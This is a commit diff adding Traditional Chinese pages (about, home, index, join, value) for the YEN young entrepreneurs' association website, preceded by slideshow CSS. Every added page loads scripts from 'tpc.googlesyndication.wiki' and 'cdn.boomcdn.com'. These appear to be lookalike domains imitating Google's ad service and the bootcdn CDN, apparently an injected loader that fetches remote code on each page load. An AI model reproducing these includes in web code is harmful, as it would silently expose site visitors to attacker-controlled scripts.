-webkit-animation-timing-function: linear;
animation-timing-function: linear;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-duration: 45s;
animation-duration: 45s;
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
.slideshow-5-image:nth-child(1) {
-webkit-animation-name: kenburns-5-1;
animation-name: kenburns-5-1;
z-index: 4;
}
.slideshow-5-image:nth-child(2) {
-webkit-animation-name: kenburns-5-2;
animation-name: kenburns-5-2;
z-index: 3;
}
.slideshow-5-image:nth-child(3) {
-webkit-animation-name: kenburns-5-3;
animation-name: kenburns-5-3;
z-index: 2;
}
.slideshow-5-image:nth-child(4) {
-webkit-animation-name: kenburns-5-4;
animation-name: kenburns-5-4;
z-index: 1;
}
.slideshow-5-image:nth-child(5) {
-webkit-animation-name: kenburns-5-5;
animation-name: kenburns-5-5;
z-index: 0;
}
@keyframes kenburns-5-1 {
0% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
5% {
opacity: 1;
}
15% {
opacity: 1;
}
20.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
90.4375% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
100% {
opacity: 1;
}
}
@keyframes kenburns-5-2 {
10.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
20.5625% {
opacity: 1;
}
35% {
opacity: 1;
}
40.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-3 {
30.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
40.5625% {
opacity: 1;
}
55% {
opacity: 1;
}
60.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-4 {
50.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
60.5625% {
opacity: 1;
}
75% {
opacity: 1;
}
80.5625% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
100% {
opacity: 0;
-webkit-transform: scale(1);
transform: scale(1);
}
}
@keyframes kenburns-5-5 {
70.4375% {
opacity: 1;
-webkit-transform: scale(1);
transform: scale(1);
}
80.5625% {
opacity: 1;
}
95.4375% {
opacity: 1;
}
100% {
opacity: 0;
-webkit-transform: scale(1.2);
transform: scale(1.2);
}
}
}
tc/about.html
+205
View File
@@ -0,0 +1,205 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/about.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>YEN介紹</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-about-1" class="page-block block-about-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-1c.jpg')"></div>
</div>
<div class="main-about main-about-mask-1">
<div class="container">
<div class="content-1">
<h2 class="animate__animated animate__fadeInLeft">協會介紹</h2>
<p class="animate__animated animate__fadeInUp">YEN協會雛形草創於2008年，正式成立於2012年。是一群25-45歲青年創業家/企業接班人為主體的協會，全稱：雁博青年創業家協會（Young Entrepreneurs Network）簡稱：Y.E.N.</p>
<p class="animate__animated animate__fadeInUp">YEN匯集了一群有共同使命感的企業家，支持讓有想法的青年企業家，學會如何創業、守業甚至為公司轉型。建立一個安全的分享環境，能夠幫助並打破孤軍奮戰的困境。希望讓會員更好的享受集體資源，提供資訊交流平台，為會員創造更多合作機會。</p>
<p class="animate__animated animate__fadeInUp">YEN的中文-雁，也代表著雁群效應 -雁群以V字集體飛翔，借助領頭大雁產生的空氣動力，使整體飛行更省力，並在過程中彼此輪換，一同前進。</p>
</div>
</div>
</div>
</section>
<section id="block-about-2" class="page-block block-about-2">
<div class="slideshow">
<div class="slideshow-5-image" style="background-image: url('../images/city-1.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-2.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-3.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-4.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/city-5.jpg')"></div>
</div>
<div class="main-about main-about-mask-2">
<div class="container">
<div class="nav-img"><img id="nav-2" src="../images/fh-tc.png" /></div>
<div class="city-items">
<div id="content-2">
<h5>我們目前共有11個分會：</h5>
<span>北京</span>
<span>台灣</span>
<span>上海</span>
<span>香港</span>
<span>南京</span>
<span>新加坡</span>
<span>深圳</span>
<span>馬來西亞</span>
<span>廣州</span>
<span>越南</span>
<span>重慶</span>
</div>
</div>
<img class="map" src="../images/map.png" />
</div>
</div>
</section>
<section id="block-about-3" class="page-block block-about-3">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2a.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2b.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/block-about-2c.jpg')"></div>
</div>
<div class="main-about main-about-mask-3">
<div class="container">
<div class="nav-img"><img id="nav-3" src="../images/sm.png" /></div>
<div class="sm">
<div id="content-3">
<h3>我們的使命</h3>
<p>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</p>
<h3>我們的承諾</h3>
<p>1. 協助企業會員成長</p>
<p>2. 確保會員能在雁博會找到歸屬感</p>
<p>3. 支持企業家進行內部深度分享</p>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>聯繫YEN</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#bec7dbd090dfdad3d7d08ffed7ddd2d1cbda90ddd1d3"><span class="__cf_email__" data-cfemail="4d342823632c292024237c0d242e21223829632e2220">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oContainer1 = document.getElementById('block-about-1');
const oContainer2 = document.getElementById('block-about-2');
const oContainer3 = document.getElementById('block-about-3');
const oNav2 = document.getElementById('nav-2');
const oNav3 = document.getElementById('nav-3');
const oContent2 = document.getElementById('content-2');
const oContent3 = document.getElementById('content-3');
window.onscroll = function(e) {
if(scrollY > oContainer1.offsetTop + oContainer1.offsetHeight / 3) {
oNav2.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent2.setAttribute('class', 'animate__animated animate__fadeInUp')
}
if(scrollY > oContainer1.offsetTop + oContainer2.offsetHeight + oContainer3.offsetHeight / 3) {
oNav3.setAttribute('class', 'animate__animated animate__fadeInLeft')
oContent3.setAttribute('class', 'animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
tc/home.html
+166
View File
@@ -0,0 +1,166 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/home.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>雁博青年創業家協會</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 倍伴 -->
<section id="block-home-1" class="page-block block-home-1">
<div class="slideshow">
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1a.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-1d.jpg')"></div>
</div>
<div class="home-main-1">
<div class="container">
<div id="block-content-1" class="content animate__animated animate__fadeInLeft">
<label>
<img src="../images/pb.png" />
一起成為更好的領導者！
</label>
<span>打造一個正循環生態，讓一群企業家透過資訊交流，持續學習，相互支持，讓彼此成為更好的領導者；進而改變自己與世界的命運。</span>
<a href="about.html">了解更多</a>
</div>
</div>
</div>
</section>
<!-- 成长 -->
<section id="block-home-2" class="page-block block-home-2">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-home-2b-pc.jpg" style="background-image: url('../images/block-home-2b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2c.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2d.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-home-2e.jpg')"></div>
</div>
<div class="home-main-2">
<div class="container">
<div id="block-content-2" class="content">
<label>
<img src="../images/cz-tc.png" />
突破你的邊界！
</label>
<span>透過互相學習的過程，讓創業家繼續成長突破，並打破創業家孤軍奮戰的困境，提供安全互信的環境，彼此扶持。</span>
<a href="value.html">了解更多</a>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>聯繫YEN</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#661f03084807020b0f0857260f050a0913024805090b"><span class="__cf_email__" data-cfemail="f58c909bdb9491989c9bc4b59c96999a8091db969a98">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oBlock1 = document.getElementById('block-home-1');
const oBlock2 = document.getElementById('block-home-2');
const oContent2 = document.getElementById('block-content-2');
window.onscroll = function(e) {
if(scrollY > oBlock1.offsetTop + oBlock2.offsetHeight / 2) {
oContent2.setAttribute('class', 'content animate__animated animate__fadeInRight')
}
}
</script>
</body>
</html>
tc/index.html
+180
View File
@@ -0,0 +1,180 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/index.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>雁博青年創業家協會</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<!-- 第一屏 -->
<section class="page-block block-index">
<div class="video-container">
<video
id="home-video"
muted
autoplay
x-webkit-airplay="allow"
x5-playsinline
webkit-playsinline="true"
playsinline="true"
loop="loop"
src="../images/video.v3.mp4"
/>
</div>
<div class="main-index">
<div class="content">
<div id="slogan" class="title">
<p class="animate__animated animate__fadeInDown"><span>嗨!</span><span>創業家</span></p>
</div>
<a href="home.html" class="icon-triangle-arrow animate__animated animate__bounce animate__infinite"></a>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
const oDiv = document.getElementById('slogan');
//切换视频
function tranVideo() {
const ua = navigator.userAgent
const oVideo = document.getElementById('home-video')
if(
(ua.match(/(iPhone|iPod|Android|ios|iOS|iPad|Backerry|WebOS|Symbian|Windows Phone|Phone)/i)) ||
ua.toLowerCase().match(/QQ/i) == 'qq'
) {
oVideo.src = '../images/video.v3.mp4'
}
else {
oVideo.src = '../images/pc-video.mp4'
}
}
tranVideo()
window.onresize = tranVideo
//切换文字
function tranSlogan() {
let i = 1
const en = `<p class="en"><span>Hello,</span><span>Entrepreneurs</span></p>`
const cnTw = `<p><span>嗨!</span><span>創業家</span></p>`
const cn = `<p><span>你好,</span><span>创业者</span></p>`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = en
i = 2
}
else if(i === 2) {
oDiv.innerHTML = cn
i = 3
}
else if(i === 3) {
oDiv.innerHTML = cnTw
i = 1
}
}, 2000)
}
tranSlogan()
</script>
<script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script>
<script>
function doPlay() {
document.getElementById('home-video').play();
}
doPlay();
//必须在微信Weixin JSAPI的WeixinJSBridgeReady才能生效
document.addEventListener("WeixinJSBridgeReady", function () {
doPlay();
}, false);
//微信Android中无法自动播放处理
const ua = navigator.userAgent.toLowerCase();
const isWeixin = ua.indexOf('micromessenger') != -1;
const isAndroid = ua.indexOf('android') != -1;
if(isWeixin && isAndroid) {
document.getElementById('home-video').setAttribute('poster', '../images/poster.png')
}
document.addEventListener("click", doPlay, false);
</script>
</body>
</html>
tc/join.html
+187
View File
@@ -0,0 +1,187 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/join.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>加入我們</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="join-block-1" class="page-block join-block-1">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/join-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/join-2.jpg')"></div>
<div class="slideshow-3-image pc-source" data-pc-url="../images/join-3-pc.jpg" style="background-image: url('../images/join-3.jpg')"></div>
</div>
<div class="join-main-1">
<div class="container">
<h4>入會標準</h4>
<span>24-45歲的創業者或企業接班人，由現有會員推薦，並由各城市分會面試與審核通過</span>
<h5>創業者（需滿足以下條件）</h5>
<ul>
<li><i>i.</i>入會前須有至少一年創業經歷，原始股權比例至少10%以上</li>
<li><i>ii.</i>公司至少有三名全職員工</li>
</ul>
<h5>企業接班人（以下3條需至少滿足2條）</h5>
<ul>
<li><i>i.</i>直系親屬是企業擁有者或大股東，擁有股東會主導權</li>
<li><i>ii.</i>目前負責一個事業部</li>
<li><i>iii.</i>目前已在公司任職2年以上，並是企業培養的主要繼承者人選</li>
</ul>
</div>
</div>
</section>
<section id="join-block-2" class="page-block join-block-2">
<div class="slideshow">
<div class="slideshow-3-image" style="background-image: url('../images/DNA-1.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/DNA-2.jpg')"></div>
<div class="slideshow-3-image" style="background-image: url('../images/DNA-3.jpg')"></div>
</div>
<div class="join-main-2">
<div class="container">
<div class="dna-items">
<h4>除此之外<br />YEN會員之間秉持著六大核心價值 - DNA</h4>
<div class="item">
<h5>保密</h5>
<p>設定清晰保密等級</p>
<p>活動照片公開需當事人同意</p>
</div>
<div class="item">
<h5>平等</h5>
<p>凡事AA制</p>
<p>平等看待各個行業</p>
<p>打造共同語言環境</p>
</div>
<div class="item">
<h5>投入</h5>
<p>主動回饋YEN</p>
<p>不帶批判傾聽對方聲音</p>
<p>誠實回饋所知訊息</p>
</div>
<div class="item">
<h5>分享</h5>
<p>真誠分享企業經營心得</p>
<p>引進外部資源</p>
<p>介紹優質人脈</p>
</div>
<div class="item">
<h5>負責</h5>
<p>積極參加及組織活動</p>
<p>主動承擔責任</p>
<p>願意做組織的領導者</p>
</div>
<div class="item">
<h5>尊重</h5>
<p>對事不對人，不評判他人</p>
<p>有建議私下提出</p>
</div>
<p class="tips">如果你滿足上面條件，歡迎聯繫你身邊的YEN會員，或者透過下方郵件聯繫我們協會。期待和你一起在創業的路上拼搏！</p>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>聯繫YEN</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#651c000b4b0401080c0b54250c06090a10014b060a08"><span class="__cf_email__" data-cfemail="4138242f6f20252c282f700128222d2e34256f222e2c">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
</body>
</html>
tc/value.html
+267
View File
@@ -0,0 +1,267 @@
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/value.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>對你的價值</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-worth-1" class="page-block block-worth-1">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
</div>
<div class="main-worth main-worth-mask-1">
<div class="container">
<div id="value" class="worth-content-1">
<div class="animate__animated animate__fadeIn">
<span>
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
<small>- W.C 房地產業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞開坦露脆弱的地方”
<small>- C.Y. 管理顧問業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“這裡不販賣信仰，卻能篤定我往前的信念”
<small>- V.T. 食品業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行業的深入洞察，分享真誠不套路”
<small>- T.H. 製造業</small>
</span>
</div>
</div>
</div>
</div>
</section>
<section id="block-worth-2" class="page-block block-worth-2">
<div class="slideshow">
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
</div>
<div class="worth-main-2">
<div class="container">
<div class="content">
<div>
<h3>來！一起參加YEN的</h3>
<div class="main-2">
<div class="worth-content-2">
<div>
<h5>分會分享會</h5>
